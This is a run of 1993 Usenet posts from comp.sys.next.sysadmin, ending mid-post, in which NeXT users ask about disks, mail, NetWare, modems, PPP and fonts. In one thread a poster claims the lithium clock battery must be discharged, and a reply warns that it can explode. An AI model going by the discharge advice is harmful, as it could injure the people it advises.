Internet: izumi@pinoko.berkeley.edu (NeXTMail OK)
Newsgroups: comp.sys.next.sysadmin
Subject: HELP! Cannot mount optical disk!!
Message-ID: <1nf1htINN7de@shelley.u.washington.edu>
From: strobel@stein.u.washington.edu (Nicolas Strobel)
Date: 8 Mar 1993 08:53:17 GMT
Organization: University of Washington
Keywords: bad super-block prevents mounting of OD
Summary: bad super-block prevents mounting of OD
Help! I cannot get an optical disk filled with research data/programs to mount!
In the console I get this error:
od0a: read failed (bitmap bad but no alternate found!) block 8 phys block 63448
(8114:0:8).
Block 8 is a super-block. Using fsck with the alternate super-block 16 brings
up a number of blocks above block #151264 that it cannot read. After responding
yes to all of the proposed changes fsck suggested (what else could I do?) it
indicated the number of files used and free (at end of phase 5) it
said that it could not write to block 8.
Repeated attempts with fsck turned up the same blocks not being read.
The OD still will not mount and I cannot access any of the files. Is there a
way to tell the mount command to use a different super-block? Is there any way
I can repair block 8 phys block 63448? Please, please let me know!!
Nick Strobel
strobel@dirac.phys.washington.edu
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From: bill@leeweyr.sccsi.com (Bill Lee)
Subject: Need help with NeXT Mail and/or sendmail.cf
Message-ID: <1993Mar8.015233.4198@leeweyr.sccsi.com>
Organization: Lee Aerie
Date: Mon, 8 Mar 1993 01:52:33 GMT
I have Color slab running 2.1. I have a uucp connection to a local feed to
supply me with e-mail and a USENET news feed.
Here's the problem. Using the NeXT Mail application or regular UNIX mail,
all of my outgoing mail arrives at the destination with either a ^M (i.e.,
control-M) at the end of each line, or the file is double spaced. Apparently,
the ^M is also in the headers.
I can send mail to myself and the files all appear to be o.k. (That is, I send
to an account on the news feed machine which has a .forward back to my NeXT.)
But when it goes to other systems, the annoying ^M or double spacing occurs.
This is not a "biggie", but is annoying to those who receive my e-mail. It does
cause problems, however, when sending code of one sort or another, mostly
because the files become inordinately large.
I suspect there is a mailer option in the sendmail.cf to handle this. However,
the NeXT documentation does not discuss the .cf file, and all of the other
references I have do not help.
Can someone give me some pointers that might solve this problem?
Thanks.
Bill Lee
Newsgroups: comp.sys.next.sysadmin
From: masud@invnext.worldbank.org (masud cader)
Subject: Private group and .forward problems
Message-ID: <1993Mar8.164351.16748@worldbank.org>
Keywords: Question:Mail,Private Group,.forward
Sender: news@worldbank.org
Organization: The World Bank, Washington, DC, USA
Date: Mon, 8 Mar 1993 16:43:51 GMT
Fellow NeXTSTEPpers:
I have a small problem. I am trying to accomplish a mail explode
capability. I have set up an account, say "mex", which has a private mail
group of a couple hundred addresses, called "mailX", and have in the .forward
file of account mex the value "mailX". Thus one would expect all mail sent to
mex to be forwarded to the mail group defined in the .forward file, ie, mailX
..not so...I get a user unknown 550 message from the mailer.
However, I can send mail to the group mailX...just can't forward it.
Anyone have a couple of hints...possibly a solution.
A priori gratitude.
--
QUOTES ARE PUT IN MERELY AS VISUAL DELIMITERS AND DO NOT ACTUALLY EXIST IN THE
FILES/NAMES.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Masud Cader
Trading Analytics
The World Bank
masud@invnext.worldbank.org
Newsgroups: comp.sys.next.sysadmin
Subject: Netware logout: how?
Message-ID: <93067.113120HWTQC@CUNYVM.BITNET>
From: <HWTQC@CUNYVM.BITNET>
Date: Monday, 8 Mar 1993 11:31:20 EST
Organization: City University of New York
Our sysadmin is departing academia for the real world, and thus really won't
get a chance to deal with this in detail.
Apparently, the only way for a NeXT to break a Netware connection is for the
NeXT to be rebooted. This would be inconvenient under certain circumstances.
Does anyone know of another way to logout from/break a Netware connection?
AAAAA: All Assistance And Advice Appreciated
-------
Harry Wert
Queens College Academic Computer Center
NeXT Mail: wert@alehouse.acc.qc.edu
From: tim@apple.com (Tim Olson)
Newsgroups: comp.sys.next.sysadmin
Subject: DialupIP performance
Message-ID: <tim-080393110119@129.38.222.43>
Date: 8 Mar 93 17:09:16 GMT
Sender: usenet@Apple.COM
Followup-To: comp.sys.next.sysadmin
Organization: Apple Computer Inc. / Somerset
I'm using Louis Mamakos' DialupIP, v1.2 on a '030-based cube running
NeXTSTEP 2.1. The package works great, except for one thing: FTP transfer
rates from my cube to another host are very low. I can get ~0.7KB/s over a
9600-baud link when transferring *from* another host, but only about
0.07KB/s transferring *to* another host.
The limitation appears to be some type of increasing "backoff" when
retransmit timeouts occur. Does anyone have any suggestions on how to get
rid of this backoff?
-- Tim Olson
Apple Computer Inc. / Somerset
(tim@apple.com)
Newsgroups: comp.sys.next.sysadmin
From: uunet!sci34hub!tybrin4!trey (Trey McClendon)
Subject: NeXT will not turn OFF!! (yes, OFF)
Message-ID: <1993Mar8.155213.9877@tybrin4.uucp>
Sender: trey@tybrin4.uucp
Organization: TYBRIN Corporation, Huntsville AL
Date: Mon, 8 Mar 1993 15:52:13 GMT
Hello,
Now that I can post, the 'NeXT will not turn on!!' post reminds me of a
problem with one of the NeXTs here where I work. This slab, one of the
early ones, will not turn off. It will go through the power off sequence
just like any other machine. A relay (??) somewhere will click, the
screen will go black, but then it will mysteriously re-power itself and go
through the testing system... bit.
For awhile, I could get to the ROM monitor prompt and repeatedly do the
power key, 'y' really power down and it would eventually 'take'.
Sometimes it would really go off after 3 cycles, other times more.
Now, it has gotten to the point that it simply will not go off. I have to
go the ROM monitor and pull the plug. ( I still have to press the power
key to restart it).
This is irritating. I have let it sit without the battery overnight, and
have even replaced the battery with a new one. Nothing changed.
Does anybody have any ideas of what to try, short of replacing the
motherboard? (A maintenance history is perhaps in order. This machine
used to give erroneous results for certain output until the 040 chip was
replaced. Now it gives output that matches all the other machines)
Regards,
Trey McClendon
tybrin4!trey@sci34hub.sci.com
From: pyrros@ulysses.att.com (Christos T. Pyrros)
Newsgroups: comp.sys.next.sysadmin
Subject: Mounting Sun CD-ROMs?
Message-ID: <1993Mar8.191621.3033@ulysses.att.com>
Date: 8 Mar 93 19:16:21 GMT
Organization: AT&T Bell Laboratories, Murray Hill
How does one mount a Sun CD-ROM? All Mac, DOS, and Unix disks work fine,
but when I put in a sun disk (in this case, the SunPro Development Tools
disk) the Workspace just says Disk is Write Protected, and ejects it.
Thanks,
Chris
Newsgroups: comp.sys.next.sysadmin
From: dmm0t@rincewind.mech.virginia.edu (David Meyer)
Subject: Re: Netware logout: how?
Message-ID: <1993Mar8.183308.7867@murdoch.acc.Virginia.EDU>
Sender: usenet@murdoch.acc.Virginia.EDU
Organization: University of Virginia
References: <93067.113120HWTQC@CUNYVM.BITNET>
Date: Mon, 8 Mar 1993 18:33:08 GMT
In article <93067.113120HWTQC@CUNYVM.BITNET> <HWTQC@CUNYVM.BITNET> writes:
>Our sysadmin is departing academia for the real world, and thus really won't
>get a chance to deal with this in detail.
>Apparently, the only way for a NeXT to break a Netware connection is for the
>NeXT to be rebooted. This would be inconvenient under certain circumstances.
>Does anyone know of another way to logout from/break a Netware connection?
/usr/netware/bin/nwlogout <servername>
from a unix shell.
Dave
--
David M. Meyer Mechanical & Aerospace Engineering
dmm0t@rincewind.mech.virginia.edu University of Virginia
NeXTmail ok
From: fahnoe@C1MPLS.MN.Org (Larry Fahnoe)
Newsgroups: comp.sys.next.sysadmin
Subject: Looking for NetInfo directory/property/value documentation
Keywords: NetInfo documentation property value
Message-ID: <1993Mar8.174702.2527@C1MPLS.MN.Org>
Date: 8 Mar 93 17:47:02 GMT
Article-I.D.: C1MPLS.1993Mar8.174702.2527
Organization: Cellular One, Minneapolis
Hello,
After going through the available man pages, bookshelves, and header
files, I'm fairly well convinced that NeXT does not ship a concise guide
to NetInfo's various directories, properties and their values. Rather
than trying to reverse engineer all of the meanings, does anyone know if
there is a reference for all of this? Sure there are the Manager
applications, but when things have gone awry, or the existing networks do
not conform to the assumptions that the Manager applications make, where
is a sysadmin supposed to turn? C'mon NeXT, provide us with a few more
clues to the tools that you have given us!
--
Larry Fahnoe Cellular One
IS VAX System Manager 7900 S. Xerxes Ave, Suite 301
612/832-7616 Minneapolis, MN 55431
Internet: fahnoe@c1mpls.mn.org McCaw DECnet: 18435::FAHNOE
From: oleg@gd.cs.csufresno.edu (Oleg Kibirev)
Newsgroups: comp.sys.next.sysadmin,comp.sys.sun.admin
Subject: fsdb for Sun or Next?
Message-ID: <1993Mar8.165655.4392@nic.csu.net>
Date: 9 Mar 93 00:56:54 GMT
Organization: Computer Science Departement of California State University in Fresno
Is there an equivalent of SGI's fsdb that works on Sun or NeXT (or any
absolute disk editor for this matter)? Free software prefered, of course.
Thanks!
Oleg
Newsgroups: comp.sys.next.sysadmin
From: lemson@ux1.cso.uiuc.edu (David Lemson)
Subject: Re: NeXT will not turn OFF!! (yes, OFF)
Message-ID: <C3LvwI.Inr@ux1.cso.uiuc.edu>
Organization: University of Illinois at Urbana
References: <1993Mar8.155213.9877@tybrin4.uucp>
Date: Tue, 9 Mar 1993 05:14:28 GMT
uunet!sci34hub!tybrin4!trey (Trey McClendon) writes:
>Hello,
>Now that I can post, the 'NeXT will not turn on!!' post reminds me of a
>problem with one of the NeXTs here where I work. This slab, one of the
>early ones, will not turn off. It will go through the power off sequence
>just like any other machine. A relay (??) somewhere will click, the
>screen will go black, but then it will mysteriously re-power itself and go
>through the testing system... bit.
Luckily, this one is easy: Log in as root, start up Preferences.
Go to the 'Power' Icon. There will be a pop-up menu which has a
selection like 'Startup Options'. There is a checkbox with
something like 'turn on after power off'. Uncheck that box. Some
machines seem to have been shipped with that turned on. This is a
useful features for servers and machines like that. The popup menu
is present on machines with the 'clock chip'. This includes all
color machines, all turbos, cubes built fairly recently, and mono
non-turbo stations manufactured approximately after the color
stations started to ship. It does not include 030 cubes with 25 MHz
040 upgrade boards.
--
David Lemson (217) 244-1205
University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin
Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson
NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
Newsgroups: comp.sys.next.sysadmin
From: lemson@ux1.cso.uiuc.edu (David Lemson)
Subject: Re: Looking for NetInfo directory/property/value documentation
Message-ID: <C3Lvzy.J1r@ux1.cso.uiuc.edu>
Keywords: NetInfo documentation property value
Organization: University of Illinois at Urbana
References: <1993Mar8.174702.2527@C1MPLS.MN.Org>
Date: Tue, 9 Mar 1993 05:16:31 GMT
fahnoe@C1MPLS.MN.Org (Larry Fahnoe) writes:
>Hello,
>After going through the available man pages, bookshelves, and header
>files, I'm fairly well convinced that NeXT does not ship a concise guide
>to NetInfo's various directories, properties and their values. Rather
It may not be as thorough as you wish, but I have found netinfo(5) to
be relatively complete and accurate.
--
David Lemson (217) 244-1205
University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin
Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson
NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
Newsgroups: comp.sys.next.sysadmin
From: soward@slow.inslab.uky.edu (John Soward)
Subject: /etc/resolv.conf: search?
Message-ID: <C3KFFt.8By@ms.uky.edu>
Sender: news@ms.uky.edu (USENET News System)
Organization: University Of Kentucky, Dept. of Math Sciences
Date: Mon, 8 Mar 1993 10:21:28 GMT
I was trying to use the "search" option to get the resolver to try a few
different ending before giving up...in normal 4.3BSD (say BSD386 or somthing)
one could add a line "search domain domain domain" up to 6 domains and those
would then be searched...but this does not seem to be the case under NS3.0....
Anyone know if there is a workaround, etc...
thanx,
--
________________________________________________________________________
/ 'The midnight sun will burn you up" -The Cure, Piggy in the Mirror /
/ soward@ms.uky.edu | soward@inslab.uky.edu (NeXT Mail) /
/_______________________________________________________________________/
Newsgroups: comp.sys.next.sysadmin
From: soward@slow.inslab.uky.edu (John Soward)
Subject: Re: pcnfsd for the NeXT
Message-ID: <C3KFn4.8Mw@ms.uky.edu>
Sender: news@ms.uky.edu (USENET News System)
Organization: University Of Kentucky, Dept. of Math Sciences
References: <1993Mar2.185120.21972@schbbs.mot.com>
Date: Mon, 8 Mar 1993 10:25:51 GMT
Jerry DeLuyck writes
-> In article <1993Feb26.211253.22916@midway.uchicago.edu>
-> sherlock@holmes.bsd.uchicago.edu (John R. Avery) writes:
-> > In article <1993Feb25.164213.15398@schbbs.mot.com>
-> > o10035@nextphx.corp.mot.com (Jerry DeLuyck) writes:
-> > > Has anyone successfully compiled the rpc.pcnfsd (version 2) on the NeXT?
-> > NS
-> > > 3.0 ships with an rpc.pcnfsd, but alas it is version 1 which leaves out
-> > a lot
-> > > of features.
I missed the original post...but I ported rpc.pcnfsd version 2 to NS3.0
back under pr1...I thought I put it on sonata...but if not it can be found at
ftp.inslab.uky.edu:/pub/next/pcnfsd.NeXT.tar.Z this is a source-code dist
which may or may not have binary...if not and you need one let me know.
--
________________________________________________________________________
/ 'The midnight sun will burn you up" -The Cure, Piggy in the Mirror /
/ soward@ms.uky.edu | soward@inslab.uky.edu (NeXT Mail) /
/_______________________________________________________________________/
From: nevai@mps.ohio-state.edu (Paul Nevai)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: Please recommend me the BEST modem for the NeXT
Date: 9 Mar 1993 14:24:46 GMT
Organization: Department of Mathematics, The Ohio State University
Sender: Paul Nevai
Distribution: world
Message-ID: <1ni9be$4vp@zaphod.mps.ohio-state.edu>
Originator: nevai@ops.mps.ohio-state.edu
Right now I use 2 Telebit 2500's in PEP mode from my home Mac to my work
CUBE. This setup is now almost 4 years old. Still works at 19,200 though
kermit downloads aren't as fast as I wish they were. They are also pretty
reliable as long as I use them together. Dialing into other modems from my
Mac is much less reliable though.
When I bought them they very very expensive ($1300 or so). I understand that
prices came down quite a bit since then.
Can you recommend any better (faster and more reliable) modems for a Mac
to CUBE setup?
Also, would it be a good investemnt for me to get the latest ROMs for my
present Telebits?
Please respond by email. Thanks. Take care...Paul
Paul Nevai nevai@mps.ohio-state.edu
Dept Math - Ohio State University 1-614-292-3317 (Office)
Columbus, Ohio 43210-1174, U.S.A. 1-614-292-1479 (Math Dept Fax)
From: yygold@yadin.phyast.pitt.edu (Yadin Y. Goldschmidt)
Newsgroups: comp.sys.next.sysadmin
Subject: second scsi drive-help needed
Message-ID: <5519@blue.cis.pitt.edu>
Date: 9 Mar 93 15:20:02 GMT
Sender: news+@pitt.edu
I have connected to my Nextstation running 3.0 a second hard drive (dec 1
gB). I have encountered several problems:
1. Following the instructions I added an item in /etc/fstab
however the system ignored it and did not mount the disk where I specified
but created a directory with the disk label and mounted it there. The
files were owned by the person logging on first. Only when I deleted the
'noauto' option in fstab did the system mount the disk where I wanted.
What is the correct way to mount the disk?
2. There is no recycler on the second disk and if I try to recycle
something I get a warning that it be destroyed. How can I create a
recycler? Note that I put the system files on this disk just in case I
will need in the future to boot from it, but I do not use it now as a boot
disk.
3. I tried to move a user home directory to the second disk by changing
his home directory with User manager and copying his files there. But when
he tried to log on from the console, instead of his home icon there was a
box with a question mark inside. Also preferences does not seem to work
properly for example unix expert mode does not take effect.
Can anybody help me how to overcome these difficulties? Is it a problem
with the drive? with the system? What am I doing wrong?
Thank you in advance
yygold@yadin.phyast.pitt.edu
Newsgroups: comp.sys.next.sysadmin,comp.sys.sun.admin
From: erc@khijol.uucp (Ed Carp)
Subject: Re: fsdb for Sun or Next?
References: <1993Mar8.165655.4392@nic.csu.net>
Organization: Computer Security Technologies
Date: Tue, 9 Mar 1993 07:05:16 GMT
Message-ID: <1993Mar9.070516.11976@khijol.uucp>
oleg@gd.cs.csufresno.edu (Oleg Kibirev) writes:
: Is there an equivalent of SGI's fsdb that works on Sun or NeXT (or any
: absolute disk editor for this matter)? Free software prefered, of course.
: Thanks!
Try the NET-2 distribution - there's an fsdb in there. Available from
gatekeeper.dec.com, among other places.
--
Ed Carp erc@apple.com, erc@saturn.upl.com 510/659-9560
"It is your resistance to 'what is' that causes your suffering." -- Buddha
Newsgroups: comp.sys.next.sysadmin
From: gbrown@raven.ctr.columbia.edu (Glenn Brown. NeXTmail welcome)
Subject: CD-ROM compatibility ($250 NEC CDR-36)
Message-ID: <1993Mar9.183431.14661@sol.ctr.columbia.edu>
Sender: nobody@ctr.columbia.edu
Organization: J. Random Misconfigured Site
Date: Tue, 9 Mar 1993 18:34:31 GMT
The NEC CDR-36 is 'MPC compliant', has a SCSI interface, is High-Sierra
compatible, and only costs about $250. I'm sure it is dog-slow, but is
there any chance that it would work with my NeXT?
Thanks,
--Glenn Brown
From: kline@cs.arizona.edu (Nick Kline)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer
Subject: Anyone using PPP?
Message-ID: <34218@optima.cs.arizona.edu>
Date: 9 Mar 93 20:13:31 GMT
Sender: news@cs.arizona.edu
Followup-To: comp.sys.next.sysadmin
I'm trying to decide whether to use PPP or slip. Yes, the classic
problem. Next at home, sun at work. It looks like it will be
very easy to set up PPP on the sun, simply get an IP number, make the program
suid and away I go.
I've got the pd PPP for the next, version 0.2. Anyone using that on 3.0?
I read on the PPP faq that there was a rumor that PPP didn't work on 3.0.
Any comments?
It seems that the morning star version of PPP is pretty expensive
(>$200 even for edu). Anyone have any comments on this?
thanks,
nick
kline@cs.arizona.edu
Newsgroups: comp.sys.next.sysadmin
From: karthy@dannug.dk (Karsten Thygesen)
Subject: Re: NeXT will not turn on!!
In-Reply-To: izumi@pinoko.berkeley.edu's message of 7 Mar 1993 22:03:46 GMT
Message-ID: <KARTHY.93Mar9184324@dannug.dannug.dk>
Sender: karthy@dannug.dk (Karsten Thygesen)
Organization: Dannug - Danish NeXT Users Group
References: <KARTHY.93Mar7105931@dannug.dannug.dk> <1ndrg2$3q3@agate.berkeley.edu>
Date: Tue, 9 Mar 1993 17:43:24 GMT
>>>>> On 7 Mar 1993 22:03:46 GMT, izumi@pinoko.berkeley.edu (Izumi Ohzawa) said:
>I have a similar problem. When I turn off the machine and want to turn
>it back on again, the monitor (monocrome btw) turn on and the internal
>harddisk spins up but there is no picture and no "beep". The solution
>is to shortwire - ups - I mean discharge the battery for a short
>period - then it works.
Izumi> NO, NO, NO. Please don't short the battery itself. That can be very
Izumi> dangerous. I hope you really meant shorting the (empty) battery holder
Izumi> terminals like David said.
Well *gulp* I has to emit that it IS necessary to discharge the
battery - the problem is the voltage is simply to high - it has no
effect to shortwire the terminals.
I think I will try to solve the problem with a little zener diode to
keep the voltage down.
Karsten.
--
Karsten Thygesen I Aalborg, Denmark
karthy@dannug.dk (NeXT-Mail welcome) I Voice: +45 98 12 42 59
President, Danish NeXT Users Group I Fax: +45 98 12 44 81
From: rane+@cs.cmu.edu (Aaron Hughes)
Newsgroups: comp.sys.next.sysadmin
Subject: 3.0 Upgrades are beginning to irritate me
Message-ID: <C3n9EJ.57H.2@cs.cmu.edu>
Date: 9 Mar 93 23:03:53 GMT
Article-I.D.: cs.C3n9EJ.57H.2
Sender: news@cs.cmu.edu (Usenet News System)
Organization: School of Computer Science, Carnegie Mellon
Ya know - I've upgraded about 30 machines in the last
2 months or so and I just did another one today. The
thing that's pissing me off is that every coupla
machines will fail the upgrade in some bizarre way,
even though the upgrade app says that disk was
successfully upgraded.
I've had several machines unable to find the Windowserver
port (the one I did today has that problem in fact, and I
still haven't been able to fix it). Others have had the
keyboard directory contents in /NextLibrary disappear
(or never show up). The directory is there, but it is
empty. This is really beginning to irritate me - is
there a solution to this? I've tried several different
CDROMS but I get the same errors.
As for the machine I did today, it can't find the
WindowServer Port. I replaced all of /usr/lib/NextStep
from my machine (1st one I did and works perfectly)
and it still doesnt want to come up. Any suggestions?
Thanks,
Aaron
--
Aaron Hughes DoD#0482 The Freedom Junkie
rane+@pulsar.fac.cs.cmu.edu Bad cop. No donut.
From: danno@css.itd.umich.edu (Daniel T. Pritts)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: /etc/resolv.conf: search?
Date: 10 Mar 1993 02:55:52 GMT
Organization: University of Michigan - ITD Consulting and Support
Message-ID: <1njlboINNlbv@stimpy.css.itd.umich.edu>
References: <C3KFFt.8By@ms.uky.edu>
In article <C3KFFt.8By@ms.uky.edu> soward@slow.inslab.uky.edu (John
Soward) writes:
>
> I was trying to use the "search" option to get the resolver to try
a few
> different ending before giving up...in normal 4.3BSD (say BSD386 or
somthing)
> one could add a line "search domain domain domain" up to 6 domains
and those
I don't think this is a standard 4.3bsd feature, although I have
seen it on a sun. I don't think you can do it with the NeXT
distribution. If you find a solution, please post.
--
dan pritts consultant/system administrator
dan.pritts@umich.edu um itd/css unix support group
313/998-6265
From: zmonster@athena.mit.edu (Eric M Hermanson)
Newsgroups: comp.sys.next.sysadmin
Subject: Please help with disk eject problem!
Date: 10 Mar 1993 03:24:51 GMT
Organization: Massachusetts Institute of Technology
Distribution: world
Message-ID: <1njn23INNdd9@senator-bedfellow.MIT.EDU>
I have a Turbo color station that wont eject floppy disks when certain
users are logged in. The 'root' and 'me' accounts work fine, but when I log
into my personal account and insert a floppy, I cannot eject the floppy until
I log out, and it automatically ejects.
My personal account is in the groups staff, wheel, and other. Also, I have
noticed that when I log in, the CONSOLE indicates a message like:
make_services: someone else is making services
Could this be the source of the error?
Or, maybe I don't have the proper permissions or something for the floppy
device??
Thanks,
Eric
Newsgroups: comp.sys.next.sysadmin
From: mark@cyantic.com (Mark T. Dornfeld)
Subject: Re: Mounting Sun CD-ROMs?
Organization: CYANTIC Systems
Date: Tue, 09 Mar 1993 22:53:57 GMT
Message-ID: <1993Mar09.225357.9335@cyantic.com>
References: <1993Mar8.191621.3033@ulysses.att.com>
In article <1993Mar8.191621.3033@ulysses.att.com> pyrros@ulysses.att.com writes:
>How does one mount a Sun CD-ROM? All Mac, DOS, and Unix disks work fine,
>but when I put in a sun disk (in this case, the SunPro Development Tools
>disk) the Workspace just says Disk is Write Protected, and ejects it.
Sorry, this isn't the answer, but I've posted this question before and have
not gotten any useful information.
I think there is some difference in block size on the Sun CD's that may be
part of the problem (1024 vs 512). Is this possible?
--
Mark T. Dornfeld Voice: (416) 234-9048
CYANTIC Systems Facsimile: (416) 234-0477
101 Subway Crescent Suite 2103 Email: mark@cyantic.com
Newsgroups: comp.sys.next.sysadmin
From: lemson@ux1.cso.uiuc.edu (David Lemson)
Subject: Re: NeXT will not turn on!!
Message-ID: <C3nn5L.GvA@ux1.cso.uiuc.edu>
Organization: University of Illinois at Urbana
References: <KARTHY.93Mar7105931@dannug.dannug.dk> <1ndrg2$3q3@agate.berkeley.edu> <KARTHY.93Mar9184324@dannug.dannug.dk>
Date: Wed, 10 Mar 1993 04:00:43 GMT
karthy@dannug.dk (Karsten Thygesen) writes:
>Well *gulp* I has to emit that it IS necessary to discharge the
>battery - the problem is the voltage is simply to high - it has no
>effect to shortwire the terminals.
You will see the effect when that battery explodes in your hand and
you no longer have fingers. They aren't kidding when they write 'do
not discharge or throw into open fire' on batteries, ESPECIALLY
lithium batteries like those found in your NeXT.
>I think I will try to solve the problem with a little zener diode to
>keep the voltage down.
Or, buy a battery that isn't flawed... Hopefully, if you know enough
to know that a zener will help you, you will know how to wire it up
properly so that the battery isn't shorted. :-)
--
David Lemson (217) 244-1205
University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin
Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson
NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin
From: Monty Solomon <monty%roscom@think.com>
Subject: Memory fault
Message-ID: <1993Mar10.035702.8003@proponent.com>
Followup-To: comp.sys.next.programmer
Sender: monty@proponent.com (Monty Solomon)
Organization: Proponent
Date: Wed, 10 Mar 1993 03:57:02 GMT
How can I track down the cause of a Memory fault when trying to do a build on a
Turbo running 3.0?
Is this a hardware problem?
Here is some sample output.
103% make debug
sh: 154 Memory fault
*** Exit 139
Stop.
104%
Thanks.
--
# Monty Solomon / PO Box 2486 / Framingham, MA 01701-0405
# monty%roscom@think.com
Newsgroups: comp.sys.next.sysadmin
From: ah@fml.tuwien.ac.at (Andreas Haleger)
Subject: Re: mount: / not found
Message-ID: <1993Mar10.113514.6178@email.tuwien.ac.at>
Sender: news@email.tuwien.ac.at
Organization: Technical University of Vienna
References: <1993Mar6.150553.26151@ens.fr>
Date: Wed, 10 Mar 1993 11:35:14 GMT
In article <1993Mar6.150553.26151@ens.fr> dicosmo@dmi.ens.fr (Roberto
DiCosmo) writes:
> In article <1m3cveINN9bb@au-ns.american.edu> carlos@american.edu (Carlos
Li)
> writes:
> > booting to single user, the /dev/sd0a seems to get mounted as
read-only,
> > so I cannot modify anything, like in /etc/fstab.
> a) reinstall the system files from scratch (using the CD-rom)
> (this makes you loose the local configuration ...)
>
> b) restore older copies of fstab, rc, rc.local, reload the netinfo
> entries for fstab from scratch (i.e. niload -d fstab . < /dev/null,
> then niload fstab . < /etc/fstab) and some other tweaking ...
>
> I would REALLY appreciate a real solution (i.e. an explanation
> plus a recovery procedure)
You don't have to do that. Just say mount -o remount,rw filesystem ....
This will remount your file system and you don't need write permission.
--
== Andreas ==
Wir entschuldigen uns fuer die Strapazen (Douglas Adams). NeXTmail
accepted.
From: andrew@cubetech.com (Andrew Loewenstern)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Netware logout: how?
Date: 9 Mar 1993 23:48:54 -0600
Organization: Cube Technologies, Inc
Message-ID: <1njvg6$fq6@imladris.cubetech.com>
References: <93067.113120HWTQC@CUNYVM.BITNET> <1993Mar8.183308.7867@murdoch.acc.Virginia.EDU>
In article <1993Mar8.183308.7867@murdoch.acc.Virginia.EDU> dmm0t@rincewind.mech.virginia.edu (David Meyer) writes:
>In article <93067.113120HWTQC@CUNYVM.BITNET> <HWTQC@CUNYVM.BITNET> writes:
>>Apparently, the only way for a NeXT to break a Netware connection is for the
>>NeXT to be rebooted. This would be inconvenient under certain circumstances.
>>Does anyone know of another way to logout from/break a Netware connection?
> /usr/netware/bin/nwlogout <servername>
>from a unix shell.
An easier way is to fire up NetWare manager, select your server and
click the deauthenticate menu choice.
<Begin Gripe>
It is silly that NeXTSTEP does not deauthenticate and detach you from
connected NetWare servers automatically when you log out. Besides the
fact that if your NeXT account is compromised, so do all of your
connected and authenticated NetWare accounts, NetWare is licensed by
the number of current connections. Many companies just don't have
the connections to spare so NeXT users can sit there and idle away.
Yes, eventually the watchdog process on the NetWare server will clear
the connection, if that is enabled on the server, but that isn't an
excuse.
<End Gripe>
From: andrew@cubetech.com (Andrew Loewenstern)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Anyone using PPP?
Date: 9 Mar 1993 23:54:45 -0600
Organization: Cube Technologies, Inc
Message-ID: <1njvr5$fr7@imladris.cubetech.com>
References: <34218@optima.cs.arizona.edu>
In article <34218@optima.cs.arizona.edu> kline@cs.arizona.edu (Nick Kline) writes:
>It seems that the morning star version of PPP is pretty expensive
>(>$200 even for edu). Anyone have any comments on this?
We use Morning Star PPP and it's great. We paid $400 (we aren't
edu...), but considering the level of support you get from Morning
Star, it's worth it. It's very reliable, the performance is good, and
the security options are excellent. It also provides SLIP
compatibility as well, BTW. I highly reccommend it.
The only drawback is that it doesn't have a sexy interface like Marble
Teleconnect. However, I feel the other features more than make up for
it (especially since it's easy to setup without the nice interface and
Morning Star will help you).
andrew
<definitely not paid by Morning Star to say this>
From: nevai@mps.ohio-state.edu (Paul Nevai)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: Re: Please recommend me the BEST modem for the NeXT
Date: 10 Mar 1993 18:07:12 GMT
Organization: Department of Mathematics, The Ohio State University
Sender: Paul Nevai
Distribution: world
Message-ID: <1nlaog$rh1@zaphod.mps.ohio-state.edu>
Originator: nevai@ops.mps.ohio-state.edu
I asked for suggestions for the BEST modem for the NeXT, and I rec'd about 10
responses. Thanks to all of you who wrote me (I will not acknowledge it
individually - I hope this is OK).
SUMMARY of recommended modems:
Telebit WorldBlazer (Turbo PEP) ROM upgrades (set registers for max throughput)
ZyXEL U1496E with NXFax combination
Supra V.32bis
QUESTION: is the Telebit WorldBlazer different from the Telebit 2500? If yes,
is it worth buying two to replace two existing 2500's? Take care...Paul
Paul Nevai nevai@mps.ohio-state.edu
Dept Math - Ohio State University 1-614-292-3317 (Office)
Columbus, Ohio 43210-1174, U.S.A. 1-614-292-1479 (Math Dept Fax)
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin
From: iwelch@agsm.ucla.edu (Ivo Welch)
Subject: .pfb Font Installation
Message-ID: <1993Mar10.083606.19577@mic.ucla.edu>
Followup-To: comp.sys.next.sysadmin
Organization: UCLA, Anderson Graduate School Of Management
Date: 10 Mar 93 08:36:06 PST
I have bought a rather nice set of fonts from SoftMaker, called infiniType,
containing 124 typefaces for a discount price of about $60. These fonts
are advertised in a number of magazines as Adobe Type-1 postscript fonts
for windows and other programs. (SoftMaker's phone is 619-929-6030; please
don't ask me for a more detailed description.)
I have already figured out that their installation produces .pfb and .afm
files. I understand that I have to look at the afm file to find out the
font name, create a .font directory under /LocalLibrary/Fonts with that
name, rename the .pfb and .afm file to this font name, remove the .pfb
extension, and run buildafmdir.
To check if this works, I then run Edit.app. I can see the new font as an
entry in the font panel, together with its sizes. Unfortunately, the font
used/displayed-in-font-panel is not the right font. Instead, it appears to
be Helvetica 12pt. A larger font size is recognized by Edit.app in that
large spaces are left blank above and below the 12pt Helvetica characters.
What am I doing wrong?
/ivo
Newsgroups: comp.sys.next.sysadmin
From: btf64@cas.org ()
Subject: Newbie questions on installing Zyxel 1496e modem
Message-ID: <1993Mar10.132926.879@cas.org>
Sender: usenet@cas.org
Organization: Chemical Abstracts Service, Columbus, Ohio
Distribution: na
Date: Wed, 10 Mar 1993 13:29:26 GMT
Hi Folks,
I've just purchased a Zyxel 1496e modem. I am an absolute neophyte when
it comes to UNIX communications, and really have no idea where to start. I've
connected all the hardware, but have no idea of any file changes I need
